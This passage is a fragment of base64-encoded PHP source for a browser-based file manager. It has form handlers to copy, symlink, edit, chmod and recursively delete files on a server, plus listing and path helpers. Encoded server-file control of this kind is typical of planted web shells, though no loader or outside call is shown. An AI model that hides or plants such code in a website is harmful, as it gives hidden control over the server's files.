ZGVzdCk7DQoJCQl9DQoJCQlpZiAoc2l6ZW9mKCRzdWNjZXNzKSA+IDApIHsNCgkJCQkkbWVzc2Fn ZSAuPSBub3RpY2UoJ2NvcGllZCcsIGltcGxvZGUoIlxuIiwgJHN1Y2Nlc3MpLCAkZGVzdCk7DQoJ CQl9DQoNCgkJCWxpc3RpbmdfcGFnZSgkbWVzc2FnZSk7DQoNCgkJfSBlbHNlIHsNCg0KCQkJaWYg KCFAZmlsZV9leGlzdHMoJGRlc3QpICYmIEBjb3B5KCRmaWxlLCAkZGVzdCkpIHsNCgkJCQlsaXN0 aW5nX3BhZ2Uobm90aWNlKCdjb3BpZWQnLCAkZmlsZSwgJGRlc3QpKTsNCgkJCX0gZWxzZSB7DQoJ CQkJbGlzdGluZ19wYWdlKGVycm9yKCdub3RfY29waWVkJywgJGZpbGUsICRkZXN0KSk7DQoJCQl9 DQoNCgkJfQ0KDQoJfSBlbHNlIHsNCg0KCQlodG1sX2hlYWRlcigpOw0KDQoJCWVjaG8gJzxmb3Jt IGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4NCg0KPHRhYmxlIGNsYXNzPSJk aWFsb2ciPg0KPHRyPg0KPHRkIGNsYXNzPSJkaWFsb2ciPg0KJzsNCg0KCQlyZXF1ZXN0X2R1bXAo KTsNCg0KCQllY2hvICJcbjxiPiIgLiB3b3JkKCdjb3B5X2ZpbGVzJykgLiAnPC9iPg0KCTxwPg0K JzsNCg0KCQlmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCgkJCWVjaG8gIlx0IiAuIGh0bWwo JGZpbGUpIC4gIjxiciAvPlxuIjsNCgkJfQ0KDQoJCWVjaG8gJwk8L3A+DQoJPGhyIC8+DQoJJyAu IHdvcmQoJ2Rlc3RpbmF0aW9uJykgLiAnOg0KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkZXN0 aW5hdGlvbiIgc2l6ZT0iJyAuIHRleHRmaWVsZHNpemUoJGRpcmVjdG9yeSkgLiAnIiB2YWx1ZT0i JyAuIGh0bWwoJGRpcmVjdG9yeSkgLiAnIiAvPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVl PSInIC4gd29yZCgnY29weScpIC4gJyIgLz4NCjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCg0KPHA+ PGEgaHJlZj0iJyAuICRzZWxmIC4gJz9kaXI9JyAuIHVybGVuY29kZSgkZGlyZWN0b3J5KSAuICci PlsgJyAuIHdvcmQoJ2JhY2snKSAuICcgXTwvYT48L3A+DQoNCjwvZm9ybT4NCg0KJzsNCg0KCQlo dG1sX2Zvb3RlcigpOw0KDQoJfQ0KDQoJYnJlYWs7DQoNCmNhc2UgJ2NyZWF0ZV9zeW1saW5rJzoN Cg0KCWlmICghZW1wdHkoJF9QT1NUWydkZXN0aW5hdGlvbiddKSkgew0KDQoJCSRkZXN0ID0gcmVs YXRpdmUyYWJzb2x1dGUoJF9QT1NUWydkZXN0aW5hdGlvbiddLCAkZGlyZWN0b3J5KTsNCg0KCQlp ZiAoc3Vic3RyKCRkZXN0LCAtMSwgMSkgPT0gJGRlbGltKSAkZGVzdCAuPSBiYXNlbmFtZSgkZmls ZSk7DQoNCgkJaWYgKCFlbXB0eSgkX1BPU1RbJ3JlbGF0aXZlJ10pKSAkZmlsZSA9IGFic29sdXRl MnJlbGF0aXZlKGFkZHNsYXNoKGRpcm5hbWUoJGRlc3QpKSwgJGZpbGUpOw0KDQoJCWlmICghQGZp bGVfZXhpc3RzKCRkZXN0KSAmJiBAc3ltbGluaygkZmlsZSwgJGRlc3QpKSB7DQoJCQlsaXN0aW5n X3BhZ2Uobm90aWNlKCdzeW1saW5rZWQnLCAkZmlsZSwgJGRlc3QpKTsNCgkJfSBlbHNlIHsNCgkJ CWxpc3RpbmdfcGFnZShlcnJvcignbm90X3N5bWxpbmtlZCcsICRmaWxlLCAkZGVzdCkpOw0KCQl9 DQoNCgl9IGVsc2Ugew0KDQoJCWh0bWxfaGVhZGVyKCk7DQoNCgkJZWNobyAnPGZvcm0gYWN0aW9u PSInIC4gJHNlbGYgLiAnIiBtZXRob2Q9InBvc3QiPg0KDQo8dGFibGUgY2xhc3M9ImRpYWxvZyIg aWQ9InN5bWxpbmsiPg0KPHRyPg0KCTx0ZCBzdHlsZT0idmVydGljYWwtYWxpZ246IHRvcCI+JyAu IHdvcmQoJ2Rlc3RpbmF0aW9uJykgLiAnOiA8L3RkPg0KCTx0ZD4NCgkJPGI+JyAuIGh0bWwoJGZp bGUpIC4gJzwvYj48YnIgLz4NCgkJPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJyZWxhdGl2 ZSIgdmFsdWU9InllcyIgaWQ9ImNoZWNrYm94X3JlbGF0aXZlIiBjaGVja2VkPSJjaGVja2VkIiBz dHlsZT0ibWFyZ2luLXRvcDogMWV4IiAvPg0KCQk8bGFiZWwgZm9yPSJjaGVja2JveF9yZWxhdGl2 ZSI+JyAuIHdvcmQoJ3JlbGF0aXZlJykgLiAnPC9sYWJlbD4NCgkJPGlucHV0IHR5cGU9ImhpZGRl biIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iY3JlYXRlX3N5bWxpbmsiIC8+DQoJCTxpbnB1dCB0eXBl PSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSInIC4gaHRtbCgkZmlsZSkgLiAnIiAvPg0KCQk8 aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkaXIiIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5 KSAuICciIC8+DQoJPC90ZD4NCjwvdHI+DQo8dHI+DQoJPHRkPicgLiB3b3JkKCdzeW1saW5rJykg LiAnOiA8L3RkPg0KCTx0ZD4NCgkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRlc3RpbmF0aW9u IiBzaXplPSInIC4gdGV4dGZpZWxkc2l6ZSgkZGlyZWN0b3J5KSAuICciIHZhbHVlPSInIC4gaHRt bCgkZGlyZWN0b3J5KSAuICciIC8+DQoJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSInIC4g d29yZCgnY3JlYXRlX3N5bWxpbmsnKSAuICciIC8+DQoJPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0K DQo8cD48YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3Rvcnkp IC4gJyI+WyAnIC4gd29yZCgnYmFjaycpIC4gJyBdPC9hPjwvcD4NCg0KPC9mb3JtPg0KDQonOw0K DQoJCWh0bWxfZm9vdGVyKCk7DQoNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnZWRpdCc6DQoNCglp ZiAoIWVtcHR5KCRfUE9TVFsnc2F2ZSddKSkgew0KDQoJCSRjb250ZW50ID0gc3RyX3JlcGxhY2Uo IlxyXG4iLCAiXG4iLCAkX1BPU1RbJ2NvbnRlbnQnXSk7DQoNCgkJaWYgKCgkZiA9IEBmb3Blbigk ZmlsZSwgJ3cnKSkgJiYgQGZ3cml0ZSgkZiwgJGNvbnRlbnQpICE9PSBmYWxzZSAmJiBAZmNsb3Nl KCRmKSkgew0KCQkJbGlzdGluZ19wYWdlKG5vdGljZSgnc2F2ZWQnLCAkZmlsZSkpOw0KCQl9IGVs c2Ugew0KCQkJbGlzdGluZ19wYWdlKGVycm9yKCdub3Rfc2F2ZWQnLCAkZmlsZSkpOw0KCQl9DQoN Cgl9IGVsc2Ugew0KDQoJCWlmIChAaXNfcmVhZGFibGUoJGZpbGUpICYmIEBpc193cml0YWJsZSgk ZmlsZSkpIHsNCgkJCWVkaXQoJGZpbGUpOw0KCQl9IGVsc2Ugew0KCQkJbGlzdGluZ19wYWdlKGVy cm9yKCdub3RfZWRpdGVkJywgJGZpbGUpKTsNCgkJfQ0KDQoJfQ0KDQoJYnJlYWs7DQoNCmNhc2Ug J3Blcm1pc3Npb24nOg0KDQoJaWYgKCFlbXB0eSgkX1BPU1RbJ3NldCddKSkgew0KDQoJCSRtb2Rl ID0gMDsNCgkJaWYgKCFlbXB0eSgkX1BPU1RbJ3VyJ10pKSAkbW9kZSB8PSAwNDAwOyBpZiAoIWVt cHR5KCRfUE9TVFsndXcnXSkpICRtb2RlIHw9IDAyMDA7IGlmICghZW1wdHkoJF9QT1NUWyd1eCdd KSkgJG1vZGUgfD0gMDEwMDsNCgkJaWYgKCFlbXB0eSgkX1BPU1RbJ2dyJ10pKSAkbW9kZSB8PSAw MDQwOyBpZiAoIWVtcHR5KCRfUE9TVFsnZ3cnXSkpICRtb2RlIHw9IDAwMjA7IGlmICghZW1wdHko JF9QT1NUWydneCddKSkgJG1vZGUgfD0gMDAxMDsNCgkJaWYgKCFlbXB0eSgkX1BPU1RbJ29yJ10p KSAkbW9kZSB8PSAwMDA0OyBpZiAoIWVtcHR5KCRfUE9TVFsnb3cnXSkpICRtb2RlIHw9IDAwMDI7 IGlmICghZW1wdHkoJF9QT1NUWydveCddKSkgJG1vZGUgfD0gMDAwMTsNCg0KCQlpZiAoQGNobW9k KCRmaWxlLCAkbW9kZSkpIHsNCgkJCWxpc3RpbmdfcGFnZShub3RpY2UoJ3Blcm1pc3Npb25fc2V0 JywgJGZpbGUsIGRlY29jdCgkbW9kZSkpKTsNCgkJfSBlbHNlIHsNCgkJCWxpc3RpbmdfcGFnZShl cnJvcigncGVybWlzc2lvbl9ub3Rfc2V0JywgJGZpbGUsIGRlY29jdCgkbW9kZSkpKTsNCgkJfQ0K DQoJfSBlbHNlIHsNCg0KCQlodG1sX2hlYWRlcigpOw0KDQoJCSRtb2RlID0gZmlsZXBlcm1zKCRm aWxlKTsNCg0KCQllY2hvICc8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9z dCI+DQoNCjx0YWJsZSBjbGFzcz0iZGlhbG9nIj4NCjx0cj4NCjx0ZCBjbGFzcz0iZGlhbG9nIj4N Cg0KCTxwIHN0eWxlPSJtYXJnaW46IDAiPicgLiBwaHJhc2UoJ3Blcm1pc3Npb25fZm9yJywgJGZp bGUpIC4gJzwvcD4NCg0KCTxociAvPg0KDQoJPHRhYmxlIGlkPSJwZXJtaXNzaW9uIj4NCgk8dHI+ DQoJCTx0ZD48L3RkPg0KCQk8dGQgc3R5bGU9ImJvcmRlci1yaWdodDogMXB4IHNvbGlkIGJsYWNr Ij4nIC4gd29yZCgnb3duZXInKSAuICc8L3RkPg0KCQk8dGQgc3R5bGU9ImJvcmRlci1yaWdodDog MXB4IHNvbGlkIGJsYWNrIj4nIC4gd29yZCgnZ3JvdXAnKSAuICc8L3RkPg0KCQk8dGQ+JyAuIHdv cmQoJ290aGVyJykgLiAnPC90ZD4NCgk8L3RyPg0KCTx0cj4NCgkJPHRkIHN0eWxlPSJ0ZXh0LWFs aWduOiByaWdodCI+JyAuIHdvcmQoJ3JlYWQnKSAuICc6PC90ZD4NCgkJPHRkPjxpbnB1dCB0eXBl PSJjaGVja2JveCIgbmFtZT0idXIiIHZhbHVlPSIxIic7IGlmICgkbW9kZSAmIDAwNDAwKSBlY2hv ICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPg0KCQk8dGQ+PGlucHV0IHR5cGU9 ImNoZWNrYm94IiBuYW1lPSJnciIgdmFsdWU9IjEiJzsgaWYgKCRtb2RlICYgMDAwNDApIGVjaG8g JyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+DQoJCTx0ZD48aW5wdXQgdHlwZT0i Y2hlY2tib3giIG5hbWU9Im9yIiB2YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDAwNCkgZWNobyAn IGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4NCgk8L3RyPg0KCTx0cj4NCgkJPHRk IHN0eWxlPSJ0ZXh0LWFsaWduOiByaWdodCI+JyAuIHdvcmQoJ3dyaXRlJykgLiAnOjwvdGQ+DQoJ CTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InV3IiB2YWx1ZT0iMSInOyBpZiAoJG1v ZGUgJiAwMDIwMCkgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsgZWNobyAnIC8+PC90ZD4NCgkJ PHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZ3ciIHZhbHVlPSIxIic7IGlmICgkbW9k ZSAmIDAwMDIwKSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBlY2hvICcgLz48L3RkPg0KCQk8 dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvdyIgdmFsdWU9IjEiJzsgaWYgKCRtb2Rl ICYgMDAwMDIpIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVjaG8gJyAvPjwvdGQ+DQoJPC90 cj4NCgk8dHI+DQoJCTx0ZCBzdHlsZT0idGV4dC1hbGlnbjogcmlnaHQiPicgLiB3b3JkKCdleGVj dXRlJykgLiAnOjwvdGQ+DQoJCTx0ZD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InV4IiB2 YWx1ZT0iMSInOyBpZiAoJG1vZGUgJiAwMDEwMCkgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJzsg ZWNobyAnIC8+PC90ZD4NCgkJPHRkPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZ3giIHZh bHVlPSIxIic7IGlmICgkbW9kZSAmIDAwMDEwKSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInOyBl Y2hvICcgLz48L3RkPg0KCQk8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJveCIgdmFs dWU9IjEiJzsgaWYgKCRtb2RlICYgMDAwMDEpIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic7IGVj aG8gJyAvPjwvdGQ+DQoJPC90cj4NCgk8L3RhYmxlPg0KDQoJPGhyIC8+DQoNCgk8aW5wdXQgdHlw ZT0ic3VibWl0IiBuYW1lPSJzZXQiIHZhbHVlPSInIC4gd29yZCgnc2V0JykgLiAnIiAvPg0KDQoJ PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0icGVybWlzc2lvbiIgLz4N Cgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJyAuIGh0bWwoJGZpbGUp IC4gJyIgLz4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkaXIiIHZhbHVlPSInIC4gaHRt bCgkZGlyZWN0b3J5KSAuICciIC8+DQoNCjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCg0KPHA+PGEg aHJlZj0iJyAuICRzZWxmIC4gJz9kaXI9JyAuIHVybGVuY29kZSgkZGlyZWN0b3J5KSAuICciPlsg JyAuIHdvcmQoJ2JhY2snKSAuICcgXTwvYT48L3A+DQoNCjwvZm9ybT4NCg0KJzsNCg0KCQlodG1s X2Zvb3RlcigpOw0KDQoJfQ0KDQoJYnJlYWs7DQoNCmRlZmF1bHQ6DQoNCglsaXN0aW5nX3BhZ2Uo bnVsbCk7DQoNCn0NCg0KLyogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqLw0KDQpmdW5jdGlvbiBnZXRsaXN0 ICgkZGlyZWN0b3J5KSB7DQoJZ2xvYmFsICRkZWxpbSwgJHdpbjsNCg0KCWlmICgkZCA9IEBvcGVu ZGlyKCRkaXJlY3RvcnkpKSB7DQoNCgkJd2hpbGUgKCgkZmlsZW5hbWUgPSBAcmVhZGRpcigkZCkp ICE9PSBmYWxzZSkgew0KDQoJCQkkcGF0aCA9IHJlbGF0aXZlMmFic29sdXRlKCRmaWxlbmFtZSwg JGRpcmVjdG9yeSk7DQoNCgkJCWlmICgkc3RhdCA9IEBsc3RhdCgkcGF0aCkpIHsNCg0KCQkJCSRm aWxlID0gYXJyYXkoDQoJCQkJCSdmaWxlbmFtZScgICAgPT4gJGZpbGVuYW1lLA0KCQkJCQkncGF0 aCcgICAgICAgID0+ICRwYXRoLA0KCQkJCQknaXNfZmlsZScgICAgID0+IEBpc19maWxlKCRwYXRo KSwNCgkJCQkJJ2lzX2RpcicgICAgICA9PiBAaXNfZGlyKCRwYXRoKSwNCgkJCQkJJ2lzX2xpbmsn ICAgICA9PiBAaXNfbGluaygkcGF0aCksDQoJCQkJCSdpc19yZWFkYWJsZScgPT4gQGlzX3JlYWRh YmxlKCRwYXRoKSwNCgkJCQkJJ2lzX3dyaXRhYmxlJyA9PiBAaXNfd3JpdGFibGUoJHBhdGgpLA0K CQkJCQknc2l6ZScgICAgICAgID0+ICRzdGF0WydzaXplJ10sDQoJCQkJCSdwZXJtaXNzaW9uJyAg PT4gJHN0YXRbJ21vZGUnXSwNCgkJCQkJJ293bmVyJyAgICAgICA9PiAkc3RhdFsndWlkJ10sDQoJ CQkJCSdncm91cCcgICAgICAgPT4gJHN0YXRbJ2dpZCddLA0KCQkJCQknbXRpbWUnICAgICAgID0+ IEBmaWxlbXRpbWUoJHBhdGgpLA0KCQkJCQknYXRpbWUnICAgICAgID0+IEBmaWxlYXRpbWUoJHBh dGgpLA0KCQkJCQknY3RpbWUnICAgICAgID0+IEBmaWxlY3RpbWUoJHBhdGgpDQoJCQkJKTsNCg0K CQkJCWlmICghJHdpbikgew0KCQkJCQlpZiAoJGZpbGVbJ2lzX2RpciddKSB7DQoJCQkJCQkvKiBh bHNvIHJldHVybnMgdHJ1ZSwgaWYgdGhlIGRpcmVjdG9yeSBpcyBub3QNCgkJCQkJCSAqIGV4ZWN1 dGFibGUgYnV0IHJlYWRhYmxlDQoJCQkJCQkgKi8NCgkJCQkJCWlmICgoJG8gPSBAb3BlbmRpcigk cGF0aCkpICE9PSBmYWxzZSkgew0KCQkJCQkJCWNsb3NlZGlyKCRvKTsNCgkJCQkJCQkkZmlsZVsn aXNfZXhlY3V0YWJsZSddID0gdHJ1ZTsNCgkJCQkJCX0gZWxzZSB7DQoJCQkJCQkJJGZpbGVbJ2lz X2V4ZWN1dGFibGUnXSA9IGZhbHNlOw0KCQkJCQkJfQ0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJJGZp bGVbJ2lzX2V4ZWN1dGFibGUnXSA9IEBpc19leGVjdXRhYmxlKCRwYXRoKTsNCgkJCQkJfQ0KCQkJ CX0gZWxzZSB7DQoJCQkJCSRmaWxlWydpc19leGVjdXRhYmxlJ10gPSB0cnVlOw0KCQkJCX0NCg0K CQkJCWlmICgkZmlsZVsnaXNfbGluayddKSAkZmlsZVsndGFyZ2V0J10gPSBAcmVhZGxpbmsoJHBh dGgpOw0KDQoJCQkJaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgJGZpbGVb J293bmVyX25hbWUnXSA9IEByZXNldChwb3NpeF9nZXRwd3VpZCgkZmlsZVsnb3duZXInXSkpOw0K CQkJCWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykpICRmaWxlWydncm91cF9u YW1lJ10gPSBAcmVzZXQocG9zaXhfZ2V0Z3JnaWQoJGZpbGVbJ2dyb3VwJ10pKTsNCg0KCQkJCSRm aWxlc1tdID0gJGZpbGU7DQoNCgkJCX0NCg0KCQl9DQoNCgkJcmV0dXJuICRmaWxlczsNCg0KCX0g ZWxzZSB7DQoJCXJldHVybiBmYWxzZTsNCgl9DQoNCn0NCg0KZnVuY3Rpb24gc29ydGxpc3QgKCYk bGlzdCwgJGtleSwgJHJldmVyc2UpIHsNCg0KCXF1aWNrc29ydCgkbGlzdCwgMCwgc2l6ZW9mKCRs aXN0KSAtIDEsICRrZXkpOw0KDQoJaWYgKCRyZXZlcnNlKSAkbGlzdCA9IGFycmF5X3JldmVyc2Uo JGxpc3QpOw0KDQp9DQoNCmZ1bmN0aW9uIHF1aWNrc29ydCAoJiRhcnJheSwgJGZpcnN0LCAkbGFz dCwgJGtleSkgew0KDQoJaWYgKCRmaXJzdCA8ICRsYXN0KSB7DQoNCgkJJGNtcCA9ICRhcnJheVtm bG9vcigoJGZpcnN0ICsgJGxhc3QpIC8gMildWyRrZXldOw0KDQoJCSRsID0gJGZpcnN0Ow0KCQkk ciA9ICRsYXN0Ow0KDQoJCXdoaWxlICgkbCA8PSAkcikgew0KDQoJCQl3aGlsZSAoJGFycmF5WyRs XVska2V5XSA8ICRjbXApICRsKys7DQoJCQl3aGlsZSAoJGFycmF5WyRyXVska2V5XSA+ICRjbXAp ICRyLS07DQoNCgkJCWlmICgkbCA8PSAkcikgew0KDQoJCQkJJHRtcCA9ICRhcnJheVskbF07DQoJ CQkJJGFycmF5WyRsXSA9ICRhcnJheVskcl07DQoJCQkJJGFycmF5WyRyXSA9ICR0bXA7DQoNCgkJ CQkkbCsrOw0KCQkJCSRyLS07DQoNCgkJCX0NCg0KCQl9DQoNCgkJcXVpY2tzb3J0KCRhcnJheSwg JGZpcnN0LCAkciwgJGtleSk7DQoJCXF1aWNrc29ydCgkYXJyYXksICRsLCAkbGFzdCwgJGtleSk7 DQoNCgl9DQoNCn0NCg0KZnVuY3Rpb24gcGVybWlzc2lvbl9vY3RhbDJzdHJpbmcgKCRtb2RlKSB7 DQoNCglpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7DQoJCSR0eXBlID0gJ3MnOw0K CX0gZWxzZWlmICgoJG1vZGUgJiAweEEwMDApID09PSAweEEwMDApIHsNCgkJJHR5cGUgPSAnbCc7 DQoJfSBlbHNlaWYgKCgkbW9kZSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgew0KCQkkdHlwZSA9ICct JzsNCgl9IGVsc2VpZiAoKCRtb2RlICYgMHg2MDAwKSA9PT0gMHg2MDAwKSB7DQoJCSR0eXBlID0g J2InOw0KCX0gZWxzZWlmICgoJG1vZGUgJiAweDQwMDApID09PSAweDQwMDApIHsNCgkJJHR5cGUg PSAnZCc7DQoJfSBlbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgew0KCQkkdHlw ZSA9ICdjJzsNCgl9IGVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7DQoJCSR0 eXBlID0gJ3AnOw0KCX0gZWxzZSB7DQoJCSR0eXBlID0gJz8nOw0KCX0NCg0KCSRvd25lciAgPSAo JG1vZGUgJiAwMDQwMCkgPyAncicgOiAnLSc7DQoJJG93bmVyIC49ICgkbW9kZSAmIDAwMjAwKSA/ ICd3JyA6ICctJzsNCglpZiAoJG1vZGUgJiAweDgwMCkgew0KCQkkb3duZXIgLj0gKCRtb2RlICYg MDAxMDApID8gJ3MnIDogJ1MnOw0KCX0gZWxzZSB7DQoJCSRvd25lciAuPSAoJG1vZGUgJiAwMDEw MCkgPyAneCcgOiAnLSc7DQoJfQ0KDQoJJGdyb3VwICA9ICgkbW9kZSAmIDAwMDQwKSA/ICdyJyA6 ICctJzsNCgkkZ3JvdXAgLj0gKCRtb2RlICYgMDAwMjApID8gJ3cnIDogJy0nOw0KCWlmICgkbW9k ZSAmIDB4NDAwKSB7DQoJCSRncm91cCAuPSAoJG1vZGUgJiAwMDAxMCkgPyAncycgOiAnUyc7DQoJ fSBlbHNlIHsNCgkJJGdyb3VwIC49ICgkbW9kZSAmIDAwMDEwKSA/ICd4JyA6ICctJzsNCgl9DQoN Cgkkb3RoZXIgID0gKCRtb2RlICYgMDAwMDQpID8gJ3InIDogJy0nOw0KCSRvdGhlciAuPSAoJG1v ZGUgJiAwMDAwMikgPyAndycgOiAnLSc7DQoJaWYgKCRtb2RlICYgMHgyMDApIHsNCgkJJG90aGVy IC49ICgkbW9kZSAmIDAwMDAxKSA/ICd0JyA6ICdUJzsNCgl9IGVsc2Ugew0KCQkkb3RoZXIgLj0g KCRtb2RlICYgMDAwMDEpID8gJ3gnIDogJy0nOw0KCX0NCg0KCXJldHVybiAkdHlwZSAuICRvd25l ciAuICRncm91cCAuICRvdGhlcjsNCg0KfQ0KDQpmdW5jdGlvbiBpc19zY3JpcHQgKCRmaWxlbmFt ZSkgew0KCXJldHVybiBlcmVnKCdcLnBocCR8XC5waHAzJHxcLnBocDQkfFwucGhwNSQnLCAkZmls ZW5hbWUpOw0KfQ0KDQpmdW5jdGlvbiBnZXRtaW1ldHlwZSAoJGZpbGVuYW1lKSB7DQoJc3RhdGlj ICRtaW1lcyA9IGFycmF5KA0KCQknXC5qcGckfFwuanBlZyQnICA9PiAnaW1hZ2UvanBlZycsDQoJ CSdcLmdpZiQnICAgICAgICAgID0+ICdpbWFnZS9naWYnLA0KCQknXC5wbmckJyAgICAgICAgICA9 PiAnaW1hZ2UvcG5nJywNCgkJJ1wuaHRtbCR8XC5odG1sJCcgPT4gJ3RleHQvaHRtbCcsDQoJCSdc LnR4dCR8XC5hc2MkJyAgID0+ICd0ZXh0L3BsYWluJywNCgkJJ1wueG1sJHxcLnhzbCQnICAgPT4g J2FwcGxpY2F0aW9uL3htbCcsDQoJCSdcLnBkZiQnICAgICAgICAgID0+ICdhcHBsaWNhdGlvbi9w ZGYnDQoJKTsNCg0KCWZvcmVhY2ggKCRtaW1lcyBhcyAkcmVnZXggPT4gJG1pbWUpIHsNCgkJaWYg KGVyZWdpKCRyZWdleCwgJGZpbGVuYW1lKSkgcmV0dXJuICRtaW1lOw0KCX0NCg0KCS8vIHJldHVy biAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJzsNCglyZXR1cm4gJ3RleHQvcGxhaW4nOw0KDQp9 DQoNCmZ1bmN0aW9uIGRlbCAoJGZpbGUpIHsNCglnbG9iYWwgJGRlbGltOw0KDQoJaWYgKCFAaXNf bGluaygkZmlsZSkgJiYgIWZpbGVfZXhpc3RzKCRmaWxlKSkgcmV0dXJuIGZhbHNlOw0KDQoJaWYg KCFAaXNfbGluaygkZmlsZSkgJiYgQGlzX2RpcigkZmlsZSkpIHsNCg0KCQlpZiAoJGRpciA9IEBv cGVuZGlyKCRmaWxlKSkgew0KDQoJCQkkZXJyb3IgPSBmYWxzZTsNCg0KCQkJd2hpbGUgKCgkZiA9 IHJlYWRkaXIoJGRpcikpICE9PSBmYWxzZSkgew0KCQkJCWlmICgkZiAhPSAnLicgJiYgJGYgIT0g Jy4uJyAmJiAhZGVsKCRmaWxlIC4gJGRlbGltIC4gJGYpKSB7DQoJCQkJCSRlcnJvciA9IHRydWU7 DQoJCQkJfQ0KCQkJfQ0KCQkJY2xvc2VkaXIoJGRpcik7DQoNCgkJCWlmICghJGVycm9yKSByZXR1 cm4gQHJtZGlyKCRmaWxlKTsNCg0KCQkJcmV0dXJuICEkZXJyb3I7DQoNCgkJfSBlbHNlIHsNCgkJ CXJldHVybiBmYWxzZTsNCgkJfQ0KDQoJfSBlbHNlIHsNCgkJcmV0dXJuIEB1bmxpbmsoJGZpbGUp Ow0KCX0NCg0KfQ0KDQpmdW5jdGlvbiBhZGRzbGFzaCAoJGRpcmVjdG9yeSkgew0KCWdsb2JhbCAk ZGVsaW07DQoNCglpZiAoc3Vic3RyKCRkaXJlY3RvcnksIC0xLCAxKSAhPSAkZGVsaW0pIHsNCgkJ cmV0dXJuICRkaXJlY3RvcnkgLiAkZGVsaW07DQoJfSBlbHNlIHsNCgkJcmV0dXJuICRkaXJlY3Rv cnk7DQoJfQ0KDQp9DQoNCmZ1bmN0aW9uIHJlbGF0aXZlMmFic29sdXRlICgkc3RyaW5nLCAkZGly ZWN0b3J5KSB7DQoNCglpZiAocGF0aF9pc19yZWxhdGl2ZSgkc3RyaW5nKSkgew0KCQlyZXR1cm4g c2ltcGxpZnlfcGF0aChhZGRzbGFzaCgkZGlyZWN0b3J5KSAuICRzdHJpbmcpOw0KCX0gZWxzZSB7 DQoJCXJldHVybiBzaW1wbGlmeV9wYXRoKCRzdHJpbmcpOw0KCX0NCg0KfQ0KDQpmdW5jdGlvbiBw YXRoX2lzX3JlbGF0aXZlICgkcGF0aCkgew0KCWdsb2JhbCAkd2luOw0KDQoJaWYgKCR3aW4pIHsN CgkJcmV0dXJuIChzdWJzdHIoJHBhdGgsIDEsIDEpICE9ICc6Jyk7DQoJfSBlbHNlIHsNCgkJcmV0 dXJuIChzdWJzdHIoJHBhdGgsIDAsIDEpICE9ICcvJyk7DQoJfQ0KDQp9DQoNCmZ1bmN0aW9uIGFi c29sdXRlMnJlbGF0aXZlICgkZGlyZWN0b3J5LCAkdGFyZ2V0KSB7DQoJZ2xvYmFsICRkZWxpbTsN Cg0KCSRwYXRoID0gJyc7DQoJd2hpbGUgKCRkaXJlY3RvcnkgIT0gJHRhcmdldCkgew0KCQlpZiAo JGRpcmVjdG9yeSA9PSBzdWJzdHIoJHRhcmdldCwgMCwgc3RybGVuKCRkaXJlY3RvcnkpKSkgew0K CQkJJHBhdGggLj0gc3Vic3RyKCR0YXJnZXQsIHN0cmxlbigkZGlyZWN0b3J5KSk7DQoJCQlicmVh azsNCgkJfSBlbHNlIHsNCgkJCSRwYXRoIC49ICcuLicgLiAkZGVsaW07DQoJCQkkZGlyZWN0b3J5 ID0gc3Vic3RyKCRkaXJlY3RvcnksIDAsIHN0cnJwb3Moc3Vic3RyKCRkaXJlY3RvcnksIDAsIC0x 